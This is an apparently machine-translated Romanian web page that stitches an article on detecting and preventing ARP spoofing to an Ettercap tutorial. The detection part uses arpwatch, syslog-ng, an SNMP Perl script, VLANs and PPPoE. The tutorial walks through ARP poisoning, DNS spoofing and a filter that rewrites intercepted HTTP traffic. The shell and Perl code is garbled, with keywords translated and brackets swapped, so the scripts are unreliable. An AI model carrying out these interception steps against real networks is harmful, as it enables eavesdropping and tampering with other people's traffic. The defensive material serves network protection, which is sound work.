De exemplu, dacă utilizați syslog-ng. Puteți crea un script care efectuează analiza:
/usr/local/bin/syslog-ng-arpwatch

#!/bin/sh
PATH=$PATH:/usr/local/bin
în timp ce linia citită
do
mac="$(echo $line | grep "adresă Ethernet schimbată" | awk "(printați $10)")"
[ -z „$mac”] && continuă
(echo POSIBILE ARP-SPOOFING FROM:; mac2port | grep "$mac")| logger -t arp-spoofing
făcut

și conectați-l la syslog-ng.
Pentru a face acest lucru, trebuie să specificați următoarele linii în fișierul de configurare syslog-ng.conf:

destinație dp_arpspoofing (
program("/usr/local/bin/syslog-ng-arpwatch");
};
filtru f_arpsspoofing (
match("arpwatch");
};
jurnal(
sursa(s_toate);
filter(f_arpsspoofing);
destinație(dp_arpspoofing);
};

Şir
filter(f_arpsspoofing);

Este posibil să nu fie nevoie să-l specificați, dar pe sistemele încărcate, aceasta reduce semnificativ sarcina. În acest caz, atunci când se efectuează arp-spoofing, se întâmplă următoarele:

  1. Demon arpwatch trimite informații către syslog (prin socket-ul standard /dev/log sau /var/run/log);
  2. Dacă Syslog-NG este folosit ca server syslog, detectează semnătura mesajului și transmite linia detectată scriptului syslog-ng-arpwatch;
  3. Scenariul syslog-ng-arpwatch, dacă vede că problema este de fapt legată de spoofing ARP, apelează un script de căutare de port după adresa MAC;
  4. Scenariul mac2port accesează comutatorul prin SNMP;
  5. Comutatorul răspunde - transmite tabele care conțin informații despre corespondența adreselor MAC la porturi către scriptul care l-a numit;
  6. Scenariul mac2port returnează un tabel cu adrese MAC corespunzătoare porturilor de comutare către script syslog-ng-arpwatch;
  7. Scenariul syslog-ng-arpwatch găsește portul de interes și scrie un mesaj în syslog;
  8. Demon syslog-ng va scrie un mesaj cu informații despre portul de comutare într-un fișier și îl poate transmite, de asemenea, prin SMS sau e-mail administratorului sau poate apela un program extern (care, de exemplu, după verificări suplimentare poate bloca portul comutatorului);
  9. Administratorul citește despre atacul detectat în fișier.

Iată cum arată în fișier:
21 iunie 13:55:23 s_all@linux3 arp-spoofing: POSIBIL ARP-SPOOFING DE LA:
21 iunie 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2

textul scriptului mac2port

#!/usr/bin/perl
nostru $community = „public”;
nostru $switch = "192.168.15.100";
deschide(SNMP,"snmpwalk -On -OQ -v2c -c $comunitate $comutator .1.3.6.1.2.1.17.4.3.1.1|")
sau die "Nu pot rula snmpwalk";
in timp ce()
{
chomp;
[email protected]@@;
my ($oid, $mac) = split /=\s*/;
$_=$mac;
s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@ g;
$mac_table($_)=$oid;
}
închidere (SNMP);
deschide(SNMP,"snmpwalk -On -OQ -v2c -c $comunitate $comutator .1.3.6.1.2.1.17.4.3.1.2|")
sau die "Nu pot rula snmpwalk";
in timp ce()
{
chomp;
[email protected]@@;
my ($oid, $port) = split /=/;
$ports_table($oid)=$port;
}
închidere (SNMP);
pentru $oid (chei %mac_table) (
print "$oid -> ".$ports_table($mac_table($oid))."\n";
}

Metode de prevenire

Combaterea falsificării ARP cu arpwatchși instrumente similare, deși foarte simple, sunt departe de a fi eficiente.

  • În primul rând, pentru a detecta un atac, programul arpwatch (sau similar) trebuie să ruleze pe nodurile protejate. Dacă rulează doar pe unul dintre cele două noduri care sunt falsificate ARP, există posibilitatea unui atac unilateral nedetectat.
  • În al doilea rând, și mai important, arpwatch Vă permite doar să detectați un atac, dar nu este capabil să îl preveniți.

Pentru a preveni consecințele unui atac, este necesară intervenția unui administrator sau a unui sistem extern. În primul caz, poate trece prea mult timp între detectare și răspunsul administratorului. În al doilea, nu este necesară nicio intervenție, reacția se realizează automat: de îndată ce este detectată o anomalie ARP, se determină portul de comutare la care este conectată sursa anomaliei, iar portul este blocat până la clarificare. Cu toate acestea, această abordare are un mare dezavantaj - poate fi folosită pentru a performa Atacurile DOS: trebuie doar să aflați adresa MAC a computerului care trebuie deconectat de la rețea și să simulați un atac de la acest computer. Apoi, sistemul nostru de detectare și prevenire a falsificării ARP va face totul singur.

Metodele luate în considerare pentru a contracara atacurile ARP se bazează pe două principii complet diferite, fiecare dintre ele având atât avantaje, cât și dezavantaje.

Ambele metode, pe lângă faptul că protejează în mod fiabil împotriva falsificării ARP, au și avantajul că vă permit să controlați complet traficul - nu numai pe cel care trece prin gateway, ci și pe cel care circulă între mașini (în cazul folosind PPPoE, mașinile pot, de comun acord, să facă schimb de date direct între ele. În cazul utilizării VLAN, sunt complet lipsite de această oportunitate.)

Atacul unilateral
Dacă trebuie să interceptați traficul care merge de la un nod din rețea la o rețea externă, trebuie să atacați nodul și gateway-ul rețelei. Cu toate acestea, detectarea spoofingului ARP este mult mai probabil să fie prezentă pe un gateway decât pe o gazdă. Din moment ce ne interesează traficul pe care nodul trimiteîn rețea, este suficient să modificați tabelul ARP doar al nodului și să nu riscați să fiți observat de către gateway. Datele pe care gateway-ul le trimite către nod vor trece direct, iar datele pe care nodul le trimite către gateway vor trece prin sistemul atacatorului. (atât la gateway, cât și la nod ar fi posibil să urmăriți că adresele MAC de pe pachetele care vin de la nod diferă de cele scrise în tabelul său ARP, adică că pachetele sunt trimise la o adresă MAC și provin de la alta. Dar ce sisteme fac asta?)

ARP static

Puteți face față în mod radical punctelor slabe ale protocolului ARP - pur și simplu nu îl utilizați. Tabelul ARP poate fi creat manual și devine invulnerabil la atacurile ARP. Pentru a face acest lucru, trebuie să adăugați adresele MAC necesare în tabel.

Dacă dezactivați utilizarea ARP pe interfețele de rețea, atunci numai acele sisteme vor fi accesibile (1) ale căror adrese MAC sunt adăugate la tabelul ARP al nodului nostru și (2) adresa noastră MAC este adăugată la tabelele ARP ale nodurilor cu pe care schimbul se face trafic.

Dacă nu dezactivați utilizarea ARP pe interfețele de rețea, adresa MAC specificată static are prioritate. Dacă nu este specificată o adresă MAC pentru o adresă IP, se utilizează o solicitare ARP.

Un tabel ARP static poate fi obținut pe baza tabelului ARP existent al routerului:

%# arp -an | grep -v incom | awk „(tipărește $2” „$4)” | tr -d "()"

Daca o scrii asa:

%# arp -an | grep -v incom | awk „(tipărește $2” „$4)” | tr -d "()" > /etc/ethers

va fi scris în fișierul /etc/ethers

Este necesar ca tabelul să conțină numărul maxim de mașini de rețea. Trebuie fie să construiți un tabel în momentul activității de vârf în rețea, fie să parcurgeți mai întâi întreaga gamă de adrese cu ping-uri:

pentru i în `seq 1 255`
do
ping -c 1 192.168.15.$i >& /dev/null &
făcut

(aici 192.168.15.0/24 este rețeaua pentru care se efectuează scanarea). Odată ce fișierul /etc/ethers este creat, acesta poate fi încărcat folosind comanda:

%# ifconfig eth1 -arp

Avantaje și dezavantaje

Metoda de generare manuală a tabelelor ARP are următoarele dezavantaje:

  • se adaugă multă muncă de rutină asociată cu adăugarea și modificarea adreselor MAC. Fiecare modificare a rețelei asociată cu înlocuirea sau rearanjarea plăci de rețea, trebuie să fie însoțit de editarea tabelelor ARP în fișiere.
  • Nodurile client rămân vulnerabile la falsificarea ARP.

Patch-uri pentru nucleul de sistem

Există un patch (sugerat de buggzy) pentru nucleele Linux/FreeBSD care minimizează riscul unui atac de succes ARP-spoofing împotriva sistemelor corelate.

Esența metodei este următoarea. Când se primește un răspuns ARP, se compară adresele MAC vechi și noi, iar dacă este detectată o modificare, se lansează procedura de verificare. Este trimisă o solicitare ARP, solicitând tuturor proprietarilor adresei IP să furnizeze adresele MAC.

Dacă se efectuează un atac, sistemul real care are această adresă IP va răspunde solicitării și astfel atacul va fi recunoscut. Dacă modificarea adresei MAC a fost asociată nu cu un atac, ci cu situații standard, nu va exista niciun răspuns care să conțină adresa MAC „veche”, iar după un anumit timeout, sistemul va actualiza intrarea în cache.

Când este detectată o situație suspectă („dublă”), nucleul afișează mesajul: „ARP_ANTIDOTE: Possible MITM attempt!”, și nu actualizează intrarea în cache ARP, ci, dimpotrivă, scrie postare veche ca static. Odată ce sursa atacului a fost identificată și neutralizată, intrarea statică poate fi ștearsă.

Patch-uri care implementează această metodă de combatere:

* arp_antidote pentru Linux
* arp_antidote 2 pentru Linux
* Patch Arp Poison pentru FreeBSD

Patch-urile funcționează numai cu nucleul din seria 2.4.

Alte metode de combatere a falsificării ARP

Din păcate, această metodă nu este aplicabilă sistemelor Windows și altor sisteme care rulează sistemul de operare, cod sursă care nu este disponibil.

Este necesar să rezolvați problema în mod radical: trebuie să construiți rețeaua în așa fel încât efectuarea de falsificare ARP în ea să fie fundamental imposibilă. Și dacă se poate, atunci inutil.

Acest lucru se poate face în două moduri:

1. Limitați domeniul de difuzare pentru fiecare nod la nivelul a două noduri: nodul în sine și cel mai apropiat gateway. mai multe detalii. De ce atacul nu poate fi efectuat în acest caz. Atunci pur și simplu nu există nimeni care să efectueze atacul - este nevoie de un al treilea. Dar el nu este acolo.
2. Asigurați-vă că totul, absolut totul, transmis în rețea este criptat și interceptarea acestor date nu va duce la nimic. Orice modificare a datelor, dacă are loc, este detectată imediat. Adică, de fapt, rețeaua ar trebui să fie aceeași și sigură atunci când este utilizată în locul unui switch hub.

Prima metodă se face folosind VLAN-uri. Al doilea este cu ajutorul PPPoE.

Folosind VLAN-uri

Computerul C poate folosi spoofing ARP împotriva computerului A numai dacă se află în aceeași rețea de nivel de legătură. În cazul în care sunt despărțiți de un router, atacul este imposibil (un atac asupra routerului este posibil, dar asta este cu totul altă problemă).

VLAN-urile ajută la segmentarea unei rețele - transformă o rețea în mai multe fragmente izolate la nivel de legătură, care sunt interconectate de un router. Un atac de falsificare ARP este posibil numai între computere situate pe același VLAN. În cel mai extrem caz, când există doar două computere în fiecare VLAN: computerul în sine și routerul, un atac de spoofing ARP devine în principiu imposibil. Din păcate, o astfel de conexiune este foarte solicitantă pentru resursele routerului și este rar folosită.

Avantaje
  1. Nu se cere nimic de la client. Funcționează ca întotdeauna. Dacă adresa IP este setată static, trebuie să schimbați adresa IP și masca de rețea.
  2. Datele nu sunt criptate și nu există pierderi de performanță. Pierderi mici din cauza câmpurilor suplimentare din antet.
  3. Este imposibil să se organizeze schimbul de date ocolind gateway-ul dintre nodurile din diferite VLAN-uri. Dacă fiecare nod se află în propriul său VLAN, un astfel de schimb este deloc imposibil.
Defecte
  1. Comutatorul trebuie să accepte VLAN-uri.
  2. Este necesar să petreceți timp configurând VLAN-uri, setări suplimentare Servere DHCP.
  3. Datele nu sunt criptate. Dacă ascultarea lor reușește cumva, acestea pot fi citite și/sau modificate.

Folosind PPPoE

Avantaje
  1. Datele sunt criptate
  2. Nu există cerințe hardware. Nici măcar nu este necesar ca rețeaua să fie dial-up
Defecte
  1. Clientul necesită configurarea accesului PPPoE. Unele sisteme necesită instalarea unui software client special.
  2. Din cauza pierderilor de încapsulare, performanța rețelei scade. Dacă datele sunt criptate, atunci pierderile temporare cresc.
  3. Cu acordul comun al părților, este posibil să se organizeze schimbul de date între noduri ocolind gateway-ul.
  4. Cu un număr mare de conexiuni PPPoE (>200), sarcina pe procesorul central al serverului crește. Uneori trebuie să sacrifici criptarea datelor.
  5. Dacă există o sarcină mare pe server, este mai ușor să utilizați PPTPd sau IPsec

Mituri și concepții greșite cu privire la falsificarea ARP

Spoofingul ARP poate fi prevenit folosind funcția de securitate a porturilor a comutatoarelor

Funcția de securitate a portului a comutatorului vă permite să vă protejați de schimbarea adresei MAC de pe portul comutatorului. Dacă un computer conectat la portul comutatorului își schimbă adresa MAC sau dacă computerul se schimbă, comutatorul observă înlocuirea și oprește transmiterea pachetelor trimise cu noua adresă de retur. În plus, pot fi efectuate și alte acțiuni: trimiterea unei capcane SNMP, scrierea în syslog și altele asemenea.

Cu ARP spoofing, adresa MAC a expeditorului (atacatorului) nu se modifică și, prin urmare, din punct de vedere al securității porturilor, nu există anomalii. Funcția de securitate a porturilor nu este în niciun fel responsabilă pentru potrivirea adreselor IP și adreselor MAC, iar atacul de spoofing ARP se bazează pe aceasta.

Ettercap este un utilitar pentru analiza traficului de rețea care trece printr-o interfață de computer, dar cu funcționalitate suplimentară. Programul vă permite să efectuați atacuri „man-in-the-middle” pentru a forța un alt computer să transmită pachete nu către router, ci către dumneavoastră.

Cu Ettercap, puteți verifica securitatea rețelei dvs., cât de susceptibilă este la acest tip de atac, precum și să analizați traficul de pe mai multe computere și chiar să îl modificați din mers. În acest articol ne vom uita la modul de utilizare a Ettercap pentru a analiza și modifica traficul.

Ce este un atac Man in the Middle?

În mod implicit, computerul trimite totul pachete de rețea, care trebuie trimise pe Internet, sunt transmise routerului, iar acesta, la rândul său, le trimite către următorul router până când pachetul ajunge la destinație. Dar, din anumite motive, este posibil ca pachetul să nu fie transmis către router, ci direct către computer și abia apoi către router.

Calculatorul prin care vor trece pachetele poate analiza sursa, adresa de destinație, iar dacă nu sunt criptate, atunci conținutul lor complet.

Există două moduri de a efectua MITM (Man In Middle Attack):

  • Atacul ARP- folosind caracteristicile protocolului ARP, computerul dumneavoastră le spune celorlalți că este un router, după care încep să îi fie trimise toate pachetele;
  • Atacul DNS- când un computer încearcă să obțină o adresă IP pentru un domeniu, înlocuim această adresă cu a noastră, dar pentru ca acest tip să funcționeze, trebuie să folosiți metoda ARP.

Programul Ettercap Linux poate efectua ambele tipuri de atacuri. În plus, utilitarul poate efectua atacuri de denial of service și poate scana porturi. Acum să vedem cum să instalați și să utilizați Ettercap.

Instalarea Ettercap

Acesta este un program destul de popular printre specialiști securitatea rețelei, deci este disponibil în depozitele oficiale ale majorității distribuțiilor. De exemplu, pentru a instala Ettercap pe Ubuntu, rulați:

$ sudo apt install ettercap-gtk

Pe Fedora sau alte distribuții bazate pe acesta, comanda va arăta similar:

$ sudo yum install ettercap-gtk

Am finalizat sarcina de a instala Ettercap Linux, dar înainte de a-l folosi, trebuie să modificăm mai multe setări în fișierul de configurare.

$ sudo vi /etc/ettercap/etter.conf

Liniile ec_uid și ec_gid trebuie să aibă valoarea 0 pentru ca serviciul de program să ruleze ca superutilizator:


ec_uid = 0 # nimeni nu este implicit
ec_gid = 0 # nimeni nu este implicit

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Acestea sunt folosite pentru a redirecționa conexiunile SSL către HTTP obișnuit, dacă este posibil. Apoi salvați modificările și programul este gata de utilizare.

Folosind Ettercap GUI

Programul poate funcționa în mai multe moduri - cu o interfață grafică, fără și ca serviciu. Vom lua în considerare munca în interfata grafica. Pentru a rula un program cu interfața GTK, utilizați opțiunea -G:

$ sudo -E ettercap -G

Atacul de otrăvire cu ARP în Ettercap

După cum am spus deja, cu acest atac putem forța computerul țintă să trimită pachete nu către router, ci către noi. Totul funcționează destul de simplu. Computerul știe IP-ul routerului; l-a primit atunci când se conectează la rețea. Dar de fiecare dată când trebuie să trimită un pachet, trebuie să traducă această adresă IP universală în adresa de nivel scăzut a tehnologie de rețea, de exemplu, pentru Internet prin cablu, aceasta este adresa MAC.

Protocolul ARP este utilizat pentru aceasta. Computerul trimite o solicitare tuturor dispozitivelor din rețea, de exemplu, „cine este 192.168.1.1”, iar routerul, văzând adresa sa, își va trimite MAC ca răspuns. Apoi va fi salvat în cache. Dar putem folosi Ettercap pentru a cere computerului țintă să-și actualizeze memoria cache ARP și să-i dea adresa noastră MAC în loc de adresa MAC a routerului. Apoi toate pachetele ne vor fi transferate, iar noi le vom trimite acolo unde este nevoie.

Să trecem la treabă și să efectuăm un atac attercap arp spofing. În Ettercap, deschideți meniul Mirosiși selectați Snifing unificat. Apoi selectați interfața de rețea, de exemplu eth0 sau wlan0:

Fereastra programului se va schimba și multe alte funcții vor fi disponibile pentru noi. Acum trebuie să scanați rețeaua. Pentru a face acest lucru, deschideți meniul Gazdeși apăsați Scanați gazde. Chiar dacă ceva nu funcționează, puteți încărca o listă de gazde dintr-un fișier:

Pentru a începe un atac, trebuie să specificăm ținta 1 și ținta 2. Ca primă țintă, trebuie să specificăm ip-ul mașinii pe care urmează să o atacăm, iar ca țintă 2 - ip-ul routerului. Folosiți butoanele pentru a adăuga obiective Adăugați ținta 1Şi Adaugă Traget 2:

În fereastra care se deschide, bifați caseta Adulmecă conexiunile de la distanță pentru a intercepta toate conexiunile la distanță de la acest computer:

Acum, pentru a începe procesul de înlocuire în meniu Început selecta Începeți să adulmecați.

După aceasta, programul va începe să trimită pachete în rețea cu o solicitare pentru 192.168.1.3 pentru a actualiza memoria cache ARP și a înlocui adresa MAC a routerului cu a ta. Atacul a fost lansat și a fost executat cu succes. Puteți deschide meniul Vedere -> Conexiuniși vedeți conexiunile active pentru dispozitivul țintă:

Dacă pachetul nu a fost criptat, atunci putem vizualiza informațiile transmise făcând clic pe conexiunea cu mouse-ul. Informațiile trimise sunt afișate în stânga, iar informațiile primite în dreapta:

Atac de falsificare DNS folosind Ettercap

Pentru a converti numele site-urilor în adrese IP de rețea, se folosește un serviciu special - DNS. Când un computer are nevoie de IP-ul unui site, îl solicită servere DNS. Dar dacă efectuați deja un atac MITM, atunci putem înlocui răspunsul serverului, astfel încât în ​​loc de IP-ul serverului site-ului, IP-ul nostru să fie returnat. Mai întâi trebuie să edităm fișierul /etc/ettercap/etter.dns:

$ sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

Această intrare înseamnă că vom înlocui IP-ul principal al google.com.ua cu 127.0.0.1. Rețineți că acest atac nu se execută fără cel anterior. Apoi deschide meniul Pluginuri -> Gestionați pluginurile:

Apoi faceți dublu clic pe plugin dns_spoof:

Pluginul va fi activat și puteți verifica IP-ul de pe dispozitiv. DNS-ul este într-adevăr schimbat. De exemplu, puteți rula pe mașina țintă:

$ ping google.com.ua

$ping www.ettercap.org

Pe lângă aceste plugin-uri, există și altele cu ajutorul cărora puteți efectua acțiunile necesare.

Filtre Ettercap

Filtrele vă permit să modificați din mers pachetele trecute prin program. Puteți să renunțați la pachete sau să le faceți modificările necesare utilizând funcția de înlocuire. De asemenea, filtrele funcționează numai în timp ce un atac MITM rulează. Sintaxa condițiilor prin care vom filtra pachetele este foarte asemănătoare cu wireshark. Să ne uităm la un filtru simplu care va înlocui toate imaginile cu ale noastre:

$ vi test.filter

dacă (ip.proto == TCP && tcp.dst == 80) (
dacă (căutare(DATA.date, „Accept-Codificare”)) (
înlocuire("Accept-Codare", "Accept-Guardie!");
# notă: șirul de înlocuire are aceeași lungime ca șirul original
msg("Zapat Accept-Encoding!\n");
}
}
dacă (ip.proto == TCP && tcp.src == 80) (
înlocuiți("img src="/, "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
înlocuiți("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("Filter Run.\n");
}

Pentru cei care au experiență de lucru cu limbaje de programare, totul ar trebui să fie clar aici. Dacă protocolul este TCP și portul de destinație este 80, continuăm căutarea și căutăm Accept-Encoding. Apoi înlocuim acest cuvânt cu oricare altul, dar echivalent ca lungime. Pentru că dacă browserul trimite Accept-Encoding gzip, datele vor fi comprimate și nu vom filtra nimic acolo. Apoi, în răspunsul serverului, portul sursă 80, înlocuim toate imaginile cu ale noastre. Acum filtrul trebuie compilat:

$ etterfilter test.filter -o test.ef

Tot ce rămâne este să încărcați filtrul folosind meniul Filtre -> Încărcați filtrul:

Selectați fișierul de filtrare în sistemul de fișiere:

Filtrul va fi încărcat și puteți deschide orice site care nu folosește https pentru a vă asigura că totul funcționează. Pentru a opri un atac MITM, deschideți meniul MITMși selectați Opriți toate atacurile Mitm. Tutorialul nostru Ettercap se apropie de sfârșit, dar...

Cum să te protejezi?

Probabil, după ce ați citit articolul, aveți o întrebare rezonabilă, cum să vă protejați computerul de acest tip de atac? Există mai multe instrumente pentru aceasta, inclusiv pentru sistemul de operare Linux:

  • XArp- un utilitar grafic care poate detecta încercările de falsificare a adreselor MAC prin protocolul ARP și poate contracara. Poate lucra în Windows și Linux;
  • Sforâie- un sistem anti-intruziune destul de cunoscut care, printre altele, detectează atacuri asupra protocolului ARP;
  • ArpON- un mic serviciu care monitorizează tabelul ARP și îl protejează de falsificarea adresei MAC.

Utilizați programul doar pentru a testa securitatea rețelelor sau aplicațiilor dvs. și, de asemenea, nu uitați că acțiunile ilegale în spațiul informațional sunt și ele pedepsite.

Pentru a finaliza videoclipul care demonstrează cum funcționează programul:

trebuie sa te inregistrezi,
sa lasi un comentariu

© 2024 ermake.ru -- Despre repararea PC-ului - Portal de informații